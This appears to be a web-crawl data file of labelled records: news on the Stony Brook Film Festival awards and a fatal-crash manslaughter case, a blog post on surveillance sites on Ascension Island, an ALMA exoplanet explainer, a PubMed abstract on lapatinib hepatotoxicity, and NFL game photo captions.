Huckabee Sanders guide to refusing service: Christian baker can, Red Hen can't https://1.bp.blogspot.com/-K6wa7qNgVQM/WzIpVKtPp9I/AAAAAAAAvmk/gNCGC-hAYqcQsNKQbVByeVcNC_7TohvpQCEwYBhgL/s1600/5.jpg https://1.bp.blogspot.com/-K6wa7qNgVQM/WzIpVKtPp9I/AAAAAAAAvmk/gNCGC-hAYqcQsNKQbVByeVcNC_7TohvpQCEwYBhgL/s72-c/5.jpg https://politics.dailynews.us.com/2018/06/sarah-huckabee-sanders-guide-to.html	cc/2020-05/en_middle_0032.json.gz/line8114
__label__wiki	0.873265	0.873265	Stony Brook Film Festival handed out rare Grand Prize this year Nicholas Esposito The 24th annual Stony Brook Film Festival wrapped up this past weekend at Stony Brook University’s Staller Center. Over the course of 10 days, 36 films ranging from short and long-form, American and foreign, dramatic and comedic were aired. On Saturday, the popular movie fest held its annual award ceremony. And for the second year in a row— and ninth time in festival history— a Grand Prize winner was selected. “When the jury and the audience rank the same film the highest then it receives a Grand Prize,” said Alan Inkles, the festival’s director. The prestigious honor went to Chuskit, a South Asian drama about a paraplegic girl confined to the indoors who hopes to go to school. The 90-minute Indian movie, directed and written by Priya Ramasubban, was filmed entirely in the Himalayas. “This festival was one of the most competitive yet,” said Inkles, “nearly 3,000 films were submitted, and only 36 were selected for the festival, so Chuskit was really a very special film– it’s a must-see.” Another top award, Jury Award for Best Feature, went to In God I Trust, a suspenseful drama that focuses on racism, guns, and religion in the U.S. “It shows different people’s viewpoints from how they grow up in the different environments,” said the film’s director Maja Zdanowski, of Toronto. “There is a reason why people believe in certain things.” Scroll down to see the full list of awards. Grand Prize: Chuskit, a South Asian drama about a paraplegic girl confined to the indoors who hopes to go to school. 2019 Jury Award for Best Feature: In God I Trust, a suspenseful drama that focuses on racism, guns, and religion in the U.S. 2019 Audience Choice for Best Feature: The Silent Revolution, a German film that follows a class of seniors in the communist-controlled GDR during the Hungarian Uprising of 1956. 2019 Audience Award Best Short: Toke is Cheap, a 23-minute feature of a teenage boy who sells marijuana is met with an unusual request from his father. 2019 Jury Award Best Short: The Portraitist, a 15-minute long French film of an elderly man’s suicide attempt that is interrupted when he learns of his granddaughter is ill. Top: Stony Brook Film Fest director Alan Inkles with Grand Prize-winning director Priya Ramasubban of Chuskit (Credit: Stony Brook Film Festival.) Boutique Beat: The Village Boutique is offering European dresses at a third of the price Sponsored: New York Cancer & Blood Specialists announces opening in Port Jeff Station Stony Brook Film Festival takes off with ‘Balloon’ on opening night The 23rd Stony Brook Film Festival kicks off this week, runs July 19-28 New executive director at Setauket’s Gallery North paints picture of gallery’s future Stony Brook Film Festival — runs July 18-27 — features Jeff Daniels, Aaron Paul films Port Jeff’s mini golf bar crawl happens Jan. 25 Heated igloo comes to Danford’s in Port Jefferson This year’s Stony Brook Film Festival was the biggest one yet: organizers SBU students find way to donate untouched campus food items to local food banks Two Port Jeff H.S. football teammates earned All-State honors	cc/2020-05/en_middle_0032.json.gz/line8116
__label__wiki	0.952673	0.952673	Court records: 'I am mentally insane and on drugs' Skyler B. Crouse, 30, pleads not guilty Monday to a 12-count manslaughter and assault indictment for a fatal crash on Sept. 26 Don Lehman Skyler Crouse, wearing a mask, is arraigned Monday in Warren County Court on a 10-count indictment for the Sept. 26 crash that killed Horicon resident Joseph Turcotte. Skyler Crouse limps into Warren County Court on Monday for his arraignment on manslaughter and assault charges for the truck crash death of Horicon resident Joseph Turcotte. QUEENSBURY — The man blamed for the Sept. 26 crash on the Northway that killed a Horicon town official and boat builder told police he was “mentally insane and on drugs” moments after the fatal collision, court records show. Newly filed court records show Skyler B. Crouse told State Police he used the opioids Fentanyl and Percocet, and that he had taken them before the crash. A police drug recognition expert concluded he was under the influence of drugs after the collision that killed Joseph D. Turcotte. Crouse also looked to cut a deal with police when they questioned him after he was taken into custody, according to an admissions report from a trooper. “Let’s make a deal. I can get you drugs and illegal aliens,” he is quoted as saying. Crouse, 30, pleaded not guilty Monday to a 12-count manslaughter and assault indictment for allegedly slamming a pickup truck into one driven by Turcotte, 38. Police said Turcotte’s truck was hit from behind with such force that it flipped end over end as Crouse fled from police who had clocked him driving 90 mph in a construction zone. Crouse, who was agitated and spit on a news photographer at his initial arraignment Sept. 26, was calm as he sat with attorney Martin McGuinness on Monday. Warren County Judge John Hall sent Crouse to Warren County Jail without bail, setting no new court date pending the completion of a “pre-plea report” to which Crouse agreed. McGuinness had no comment after the proceeding. Evidence filed in court Monday alleged Crouse: Told troopers, “I am mentally insane and on drugs, and that is not a good combo.” Sped up to 111 mph at one point as police pursued him in a pickup truck registered to an Ontario address. Crouse told the troopers who caught him, “I am a natural born citizen, your laws don’t apply to me.” State Police records show Crouse initially listed an address in Akewsasne, which is on the Mohawk Nation territory on the New York-Canadian border, and police said he has a Canadian driver’s license. But in court on Monday he told Hall he lived in Nedrow, a hamlet in Onondaga County, near Syracuse. He told police he used Fentanyl and Percocet orally, but troopers saw what appeared to be needle marks on his arms. Trooper Adam Norton, a drug recognition expert, concluded Crouse was under the influence of narcotics based on sobriety tests that Crouse interrupted midway through. A blood sample was taken to be tested for drugs and alcohol, and a finding he was impaired could result in additional charges. The public lewdness charge alleges he exposed himself to someone at Glens Falls Hospital as he was treated there in the hours after the crash. Crouse was indicted last week on charges that include second-degree manslaughter, first-degree reckless endangerment, unlawful fleeing of a police officer, first-degree assault, second-degree assault, resisting arrest, public lewdness and harassment. The manslaughter count alleges he acted recklessly in causing Turcotte’s death. He faces up to 25 years in state prison on the weightiest charge, first-degree assault. Police have not said if he told them what he was doing in the area the morning of Sept. 26, when he blew through a construction zone in the northbound lanes near Exit 19 of the Northway at 90 mph just after 8 a.m. State troopers and Warren County sheriff’s officers gave pursuit, and between exits 24 and 25 they used a tire deflation device to try to flatten his tires. One may have been punctured, but Crouse continued on and quickly veered from the passing lane to get off at Exit 25, where his truck hit Turcotte’s at high speed near the end of the exit ramp. Turcotte, a master craftsman with Gar Wood Boats of Brant Lake and a Horicon Planning Board member, was killed almost instantly. Crouse was initially scheduled for arraignment on the indictment last week, but was hospitalized at Albany Medical Center because of an infection. He was released from the hospital and returned to Warren County Jail late Friday. It was unclear what became infected, but he had wounds on the back of his right and left legs and buttocks that appeared serious when he was first in court last week, as he was bleeding through a hospital gown and State Police wrapped him in plastic to prevent the spread of his blood. He was hurt in the crash, and when a police dog bit him when he tried to run from officers. He walked into court on crutches and wearing a mask to prevent him from spitting on people. Hall asked him how he was doing. He replied, “I’ve been better.” Don Lehman covers police and court matters and Warren County government. He can be reached at 518-742-3224 or dlehman@poststar.com Skyler B. Crouse reporter - crimes & courts, public safety and Warren County government Don Lehman covers crime, Warren County government and the outdoors for The Post-Star. His work can be found on Twitter @PS_CrimeCourts and on poststar.com/app/blogs. Follow Don Lehman Driver faces manslaughter charge in fatal high-speed crash on Northway Skyler B. Crouse, 30, of Akwesasne, was charged with manslaughter Thursday after a high-speed chase that led to a crash and the death of another driver. State Police said Joseph D. Turcotte, 38, of Brant Lake, died at the crash scene after his pickup was slammed from behind by Crouse, who was fleeing police on the Northway. Suspect indicted on 10 charges in connection with fatal high-speed chase QUEENSBURY — The driver who was blamed for a fatal crash that killed a Horicon man last week was indicted Tuesday on 12 charges, including cou… Manslaughter case arraignment postponed by hospitalization QUEENSBURY — The arraignment of the man charged with manslaughter for the killing of a Horicon resident during a crash was postponed Wednesday… Joseph D. Turcotte Jan. 9, 1981 — Sept. 26, 2019 Man charged with manslaughter for fatal crash seeks dismissal The man blamed for a fatal crash that killed a Horicon town official is seeking to have the criminal case against him dismissed. More details of deadly chase released as DA opposes dismissal request New court filings detail police accounts of the high-speed chase on the Northway that ended with a fatal crash at Exit 25 last September.	cc/2020-05/en_middle_0032.json.gz/line8117
__label__wiki	0.508015	0.508015	#islands #photography #surveillance (Eavesdropping equipment on Ascension Island, operated by Britain's spy agency. Photo by Simon Norfolk.) Simon Norfolk's thesis is straightforward: landscape is a function of war. In parts of London, for instance, “the Roman stones are still buried beneath the modern tarmac. Crucially, it needs to be understood that the road system built by the Romans was their highest military technology, their equivalent of the stealth bomber or the Apache helicopter - a technology that allowed a huge empire to be maintained by a relatively small army that could move quickly and safely along these paved, all-weather roads. It is extraordinary that London, a city that ought to be shaped by Tudor kings, the British Empire, Victorian engineers and modern international Finance, is a city fundamentally drawn, even to this day, by abandoned Roman military hardware.” So not by island-making tectonics, alluvial scouring, gravitational erosion, photosynthesis, or even supernatural wizardry. (What if Walter de Maria was an ECHELON Artist-in-Residence at Ascension. Photo by Simon Norfolk.) (An American radar station sifts through terrabytes of electronic information as it stands guard a makeshift cemetery of dead sailors from centuries past. Photo by Simon Norfolk.) It's no surprise then that Simon Norfolk went on an enviable trip to Ascension in the South Atlantic. Where it seems that the paradisical-sounding island is not simply an occasional lithic extension of the Earth but a gigantic surveillance machine: a weaponized island. Hardwared and networked into the global ECHELON infrastructure to eavesdrop on each and every communication of each and every person on the planet. What is spoken in the caves of Afghanistan is readily picked up in Ascension. Certainly for some, a manufactured Fantasy Island. (A BBC World Service relay station. Photo by Simon Norfolk.) (An American antennae oddly reminiscent of London's Millennium Dome. Photo by Simon Norfolk.) I'm certainly left to wonder: which came first — the island or ECHELON? Lithic surveillance Dugway Proving Ground: or, TerraServer, Part IV (Spotted at Some landscapes.)	cc/2020-05/en_middle_0032.json.gz/line8120
__label__wiki	0.56662	0.56662	Fomalhaut is a star with at least two planets in orbit around it. These planets herd dust and gas into a narrow ring between them that is seen optically (blue) and by ALMA (gold). In order to answer the most basic questions about planetary systems, such as their origin, their evolution, and how common they are in the Universe, scientists need to find and study many more planets around other people’s suns. However, detecting planets circling other stars light-years away is a particularly difficult task. Even the nearest stars are trillions of miles away. Their light outshines whatever planets they may have forming or already formed in orbit around them. Techniques for masking the glare of stars helps us to see dimmer bodies around them, but what if a very young star system is already masked by its own star-forming cloud? Radio telescopes can see through the dust to the growing stars and planets within. The Very Large Array has imaged the rotating disks of dust and gas around some young stars that may someday form planets. However, the Atacama Large Millimeter/submillimeter Array was built with exoplanet-hunting in mind. ALMA Hunts for Other Worlds As soon as it came online, ALMA began providing valuable information about these so-called “extrasolar” planetary systems at all stages of their evolution. Millimeter/submillimeter-wave telescope arrays such as ALMA can see more detail than current optical or infrared telescopes. The longer waves it detects are not scattered or reflected by interplanetary dust, either in the extrasolar system or our own Solar System. Another important advantage is that, at millimeter and submillimeter wavelengths, the star is not glaring and overwhelming our view of its potential planets as it does in shorter wavelengths. While the star is still brighter than its planet, the difference in brightness between the two is far less in millimeter radiation. Artist’s depiction of ALMA data that showed how large planets actually feed their parent star as a young solar system forms. ALMA sees planetary systems in the earliest stages of their formation. ALMA can detect many more young, low-mass stellar systems and determine if they have the disks from which planetary systems are formed. In addition, ALMA can examine the properties of these disks in detail, including their size, temperature, dust density, and chemistry. With ALMA’s high-resolution, shorter wavelength-gathering power, we can map the particles of dust traveling around future suns to see the traffic jams, merges, and open lanes that are evidence of planets forming in a young star’s disk. We can also see exactly where certain gases start to freeze out into solids, called the “snow zones.” Snow zones mark where materials can start to stick together, like snowballs, to make larger and larger bodies that will someday form comets, asteroids, moons, and planets. Stars and Exoworlds Star Life and Death	cc/2020-05/en_middle_0032.json.gz/line8122
__label__cc	0.570666	0.429334	Title & authors Abstract Similar articles Cited by MeSH terms Substances LinkOut - more resources Effect of CYP3A4 Inducer Dexamethasone on Hepatotoxicity of Lapatinib: Clinical and in Vitro Evidence Yi Ling Teo 1 , Manit Saetaew, Suthan Chanthawong, Yoon Sim Yap, Eric Chun Yong Chan, Han Kiat Ho, Alexandre Chan 1 Department of Pharmacy, Faculty of Science, National University of Singapore, Singapore, Singapore. Yi Ling Teo et al. Breast Cancer Res Treat. Jun 2012 Concomitant usage of lapatinib, a cytochrome P450 (CYP) 3A4 substrate and dexamethasone, a CYP3A4 inducer, is a pharmacokinetic drug-drug interaction. This combination may increase the formation of reactive lapatinib metabolites, which is potentially hepatotoxic. This study aims to evaluate the clinical effect of dexamethasone on incidence of hepatotoxicity and to ascertain its in vitro role using a parallel cell culture model experimental setup. Clinical effects of dexamethasone on lapatinib-induced hepatotoxicity were evaluated in a nested case-control study based on 120 patient data obtained from our records. For the in vitro experiment, metabolically competent transforming growth factor α mouse hepatocytes (TAMH) were treated with lapatinib and viabilities were compared in the presence or absence of dexamethasone. After adjusting for confounders, patients receiving the combination were 4.57 times (95% CI 1.23-16.88, p = 0.02) more likely to develop hepatotoxicity and 3.48 times (95% CI 1.24-9.80, p = 0.02) more likely to develop a clinically important change in alanine aminotransferase than compared to the other group. Treatment of TAMH cells with lapatinib and dexamethasone caused a further reduction in viability, as compared to treatment with lapatinib alone. At 5 μM lapatinib, the introduction of dexamethasone 20 μM produced a 59% decline in viability. This is the first study to document a clinically important interaction between lapatinib and dexamethasone, which associates with an increased occurrence of hepatotoxicity. The in vitro findings have provided substantiating evidence and insights on the role of dexamethasone in lapatinib-induced hepatotoxicity. Lapatinib Promotes the Incidence of Hepatotoxicity by Increasing Chemotherapeutic Agent Accumulation in Hepatocytes C Dai et al. Oncotarget 6 (19), 17738-52. 2015. PMID 26036634. Lapatinib has been used in combination with capecitabine or paclitaxel to treat patients with progressive HER2-overexpressing metastatic breast cancer (MBC). Unfortunatel … In Vitro Evaluation of Hepatotoxic Drugs in Human Hepatocytes From Multiple Donors: Identification of P450 Activity as a Potential Risk Factor for Drug-Induced Liver Injuries D Utkarsh et al. Chem Biol Interact 255, 12-22. 2016. PMID 26718876. A possible risk factor for drug-induced hepatotoxicity is drug metabolizing enzyme activity, which is known to vary among individuals due to genetic (genetic polymorphism … Lapatinib: A Dual Inhibitor of Human Epidermal Growth Factor Receptor Tyrosine Kinases PJ Medina et al. Clin Ther 30 (8), 1426-47. Aug 2008. PMID 18803986. - Review Lapatinib is a dual inhibitor of the EGFR and HER2 tyrosine kinases. It is approved by the FDA for use in combination with capecitabine for the treatment of HER2-positive … Does the Use of Lapatinib Increase the Risk of Fatigue and Hepatic Toxicities in Patients With Solid Tumors? A Critical Literature Review and Meta-Analysis O Abdel-Rahman et al. Expert Opin Drug Saf 13 (8), 999-1008. Aug 2014. PMID 24930544. - Review This meta-analysis demonstrated that the evidence for a true increased risk of hepatotoxicity or fatigue with lapatinib-based treatment compared to control is not yet ful … Interindividual Variation in CYP3A Activity Influences Lapatinib Bioactivation JE Bissada et al. Drug Metab Dispos 47 (11), 1257-1269. Nov 2019. PMID 31492693. Lapatinib is a dual tyrosine kinase inhibitor associated with rare but potentially severe idiosyncratic hepatotoxicity. We have previously shown that cytochromes P450 CYP … Modeling Combined Anti-Inflammatory Effects of Dexamethasone and Tofacitinib in Arthritic Rats R Yu et al. AAPS J 21 (5), 93. 2019. PMID 31342216. Tofacitinib (TOF), a Janus kinase (JAK) inhibitor, which was approved in 2012, has been recommended for the treatment of clinically active rheumatoid arthritis (RA). Dexa … Novel Sericin-Based Hepatocyte Serum-Free Medium and Sericin's Effect on Hepatocyte Transcriptome Y Huang et al. World J Gastroenterol 24 (30), 3398-3413. 2018. PMID 30122879. We developed a novel hepatocyte serum-free medium. Sericin probably enhances cell attachment through the CCR6-Akt-JNK-NF-κB pathway and promotes cell proliferation throug … Role of Cytochrome P450 Enzymes in the Metabolic Activation of Tyrosine Kinase Inhibitors KD Jackson et al. Int J Mol Sci 19 (8). 2018. PMID 30103502. - Review Tyrosine kinase inhibitors are a rapidly expanding class of molecular targeted therapies for the treatment of various types of cancer and other diseases. An increasing nu … Antineoplastic Agents / adverse effects Antineoplastic Agents / toxicity * Breast Neoplasms / drug therapy Breast Neoplasms / metabolism Cell Survival / drug effects Cytochrome P-450 CYP3A / metabolism * Dexamethasone / adverse effects Dexamethasone / pharmacology * Dexamethasone / therapeutic use Hepatocytes / drug effects * Quinazolines / adverse effects Quinazolines / therapeutic use Quinazolines / toxicity * Quinazolines Cytochrome P-450 CYP3A CYP3A4 protein, human	cc/2020-05/en_middle_0032.json.gz/line8124
__label__cc	0.569208	0.430792	Kyle Allen NFL football Professional football Football Sports Kyler Murray Kliff Kingsbury Ron Rivera Larry Fitzgerald Tre Boston Chandler Jones Christian McCaffrey James Bradberry Curtis Samuel Christian Kirk Mason Cole Donte Jackson Bruce Irvin Greg Olsen Ross Cockrell Alex Armah D.J. Moore Eric Reid David Johnson Shaq Thompson Haason Reddick KeeSean Johnson D.J. Swearinger Byron Murphy Jordan Hicks Javien Elliott Damiere Byrd Efe Obada Mario Addison Mario Barrett Brett Hundley Greg Little Christian Miller Daniel Jones Lamar Jackson Gardner Minshew Case Keenum Arizona Cardinals Carolina Panthers Pittsburgh Steelers New York Giants Baltimore Ravens Jacksonville Jaguars Washington Redskins Carolina Panthers at Arizona Cardinals 9/22/2019 Carolina Panthers quarterback Kyle Allen (7) warms up prior to an NFL football game against the Arizona Cardinals, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Arizona Cardinals quarterback Kyler Murray warms up prior to an NFL football game against the Carolina Panthers, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers head coach Ron Rivera, right, talks with Arizona Cardinals head coach Kliff Kingsbury prior to an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) warms up prior to an NFL football game against the Carolina Panthers, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals wide receiver Larry Fitzgerald (11) warms up prior to an NFL football game against the Carolina Panthers, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers defensive back Tre Boston (33) warms up prior to an NFL football game against the Arizona Cardinals, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Arizona Cardinals linebacker Chandler Jones strips the ball from Carolina Panthers quarterback Kyle Allen, right, for the turnover during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers quarterback Kyle Allen (7) throws against the Arizona Cardinals during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers running back Christian McCaffrey (22) runs against the Arizona Cardinals during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers quarterback Kyle Allen (7) leaves the field after being sacked for a turnover by Arizona Cardinals linebacker Chandler Jones, right, during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Arizona Cardinals wide receiver Larry Fitzgerald (11) scores a touchdown as Carolina Panthers cornerback James Bradberry defends during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers quarterback Kyle Allen (7) celebrates his touchdown pass against the Arizona Cardinals during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers wide receiver Curtis Samuel (10) celebrates his touchdown catch with running back Christian McCaffrey (22) during the first half of an NFL football game against the Arizona Cardinals, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals wide receiver Christian Kirk (13) is hit by Carolina Panthers defensive back Tre Boston (33) during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) looks to pass against the Carolina Panthers during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Arizona Cardinals quarterback Kyler Murray (1) throws against the Carolina Panthers during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers quarterback Kyle Allen (7) throws a touchdown pass as Arizona Cardinals center Mason Cole pursues during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) runs as Carolina Panthers cornerback Donte Jackson (26) and defensive end Bruce Irvin defend during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers tight end Greg Olsen (88) can't make the catch against the Arizona Cardinals during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals wide receiver Larry Fitzgerald (11) is hit by Carolina Panthers defensive back Ross Cockrell during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers fullback Alex Armah (40) is tripped up by Arizona Cardinals linebacker Chandler Jones (55) during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers wide receiver D.J. Moore (12) celebrates his touchdown against the Arizona Cardinals during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers head coach Ron Rivera yells during the first half of an NFL football game agains the Arizona Cardinals, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers wide receiver D.J. Moore (12) pulls in a touchdown catch against the Arizona Cardinals during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals running back David Johnson (31) dives in for the touchdown as Carolina Panthers strong safety Eric Reid (25) and outside linebacker Shaq Thompson (54) defends during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers quarterback Kyle Allen (7) throws against the Arizona Cardinals during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers tight end Greg Olsen (88) scores a touchdown as Arizona Cardinals outside linebacker Haason Reddick (43) pursues during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals running back David Johnson (31) scores a touchdown as Carolina Panthers strong safety Eric Reid (25) and outside linebacker Shaq Thompson (54) defend during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) throws against the Carolina Panthers during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Arizona Cardinals wide receiver KeeSean Johnson (19) makes the catch as Carolina Panthers outside linebacker Shaq Thompson (54) makes the tackle during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers tight end Greg Olsen (88) runs as Arizona Cardinals free safety D.J. Swearinger (36) pursues during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers running back Christian McCaffrey (22) breaks free for a 76-yard touchdown run as Arizona Cardinals cornerback Byron Murphy (33) pursues during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers quarterback Kyle Allen, rear, begins to celebrate as running back Christian McCaffrey (22) breaks free for a 76-yard touchdown run against the Arizona Cardinals during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers tight end Greg Olsen (88) celebrates his touchdown catch with wide receiver Curtis Samuel (10) during the second half of an NFL football game against the Arizona Cardinals, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers tight end Greg Olsen (88) pulls in a touchdown catch as Arizona Cardinals free safety D.J. Swearinger (36) defends during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers cornerback Donte Jackson (26) runs after intercepting the football again the Arizona Cardinals during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers running back Christian McCaffrey (22) is hit by Arizona Cardinals middle linebacker Jordan Hicks (58) during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers cornerback Javien Elliott (23) is tackled by Carolina Panthers outside linebacker Shaq Thompson (54) and strong safety Eric Reid (25) during the first half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals wide receiver Damiere Byrd (14) is hit by Carolina Panthers outside linebacker Shaq Thompson during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals wide receiver Larry Fitzgerald (11) runs a play against the Carolina Panthers during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers quarterback Kyle Allen (7) throws as Arizona Cardinals outside linebacker Haason Reddick (43) pursues during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals wide receiver Larry Fitzgerald (11) is tackled by Carolina Panthers strong safety Eric Reid (25) during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers defensive end Efe Obada (94) runs a play against the Arizona Cardinals during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) is hit by Carolina Panthers outside linebacker Shaq Thompson during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) is sacked by Carolina Panthers linebacker Mario Addison (97) during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Arizona Cardinals wide receiver Larry Fitzgerald (11) talks with quarterback Kyler Murray (1) during the second half of an NFL football game against the Carolina Panthers, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Ross D. Franklin) Carolina Panthers cornerback Donte Jackson (26) celebrates his interception against the Arizona Cardinals during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Arizona Cardinals quarterback Brett Hundley (7) watches the clock during the second half of an NFL football game against the Arizona Cardinals, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Arizona Cardinals quarterback Kyler Murray (1) is sacked by Carolina Panthers linebacker Mario Addison during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers head coach Ron Rivera greets Arizona Cardinals quarterback Kyler Murray (1) after an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. The Panthers won 38-20. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) greets Carolina Panthers quarterback Kyle Allen (7) after an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. The Panthers won 38-20. (AP Photo/Rick Scuteri) Arizona Cardinals quarterback Kyler Murray, left, exchanges jerseys with Carolina Panthers offensive tackle Greg Little after an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. The Panthers won 38-20. (AP Photo/Rick Scuteri) Carolina Panthers quarterback Kyle Allen, left, exchanges jerseys with Arizona Cardinals wide receiver Christian Kirk after an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. The Panthers won 38-20. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray lies on the field after being sacked by Carolina Panthers linebacker Christian Miller (50) during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. (AP Photo/Rick Scuteri) Carolina Panthers head coach Ron Rivera, right, greets Arizona Cardinals head coach Kliff Kingsbury after an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. The Panthers won 38-20. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray (1) is sacked by Carolina Panthers linebacker Christian Miller (50) during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. The Panthers won 38-20. (AP Photo/Ross D. Franklin) Arizona Cardinals quarterback Kyler Murray lies on the turf after being sacked against the Carolina Panthers during the second half of an NFL football game, Sunday, Sept. 22, 2019, in Glendale, Ariz. The Panthers won 38-20. (AP Photo/Ross D. Franklin) FILE - In this Sept. 22, 2019, file photo, Carolina Panthers quarterback Kyle Allen (7) scrambles during an NFL football game against the Arizona Cardinals, in Glendale, Ariz. Surviving in the NFL as a young quarterback means being able to move. That doesn't mean running as well as Lamar Jackson. Gardner Minshew, Kyle Allen and even Daniel Jones are showing that being able to elude pressure is a must to keep throwing the ball. (AP Photo/Rick Scuteri, File) Kyle Allen, quarterback de los Panthers de Carolina, lanza un pase ante los Cardinals de Arizona en el encuentro del domingo 22 de septiembre de 2019 (AP Foto/Ross D. Franklin) FILE - In this Sunday, Sept. 22, 2019, file photo, Arizona Cardinals' David Johnson (31) is stopped by the Carolina Panthers defense during an NFL football game in Glendale, Ariz. You can take that "any given Sunday" bromide and toss it out with some of Case Keenum's interceptions. So far in 2019, there is a Grand Canyon of separation between the contenders and everybody else. (AP Photo/Rick Scuteri, File) FILE - In this Sunday, Sept. 22, 2019, file photo, Carolina Panthers quarterback Kyle Allen (7) rolls out during an NFL football game against the Arizona Cardinals in Glendale, Ariz. Allen said he knew he wasn't going to get drafted when he decided to turn pro after his junior season of college. But he added that he was OK with that and that he was willing to "bet on myself," confident he would make it in the NFL. (AP Photo/Rick Scuteri, File)	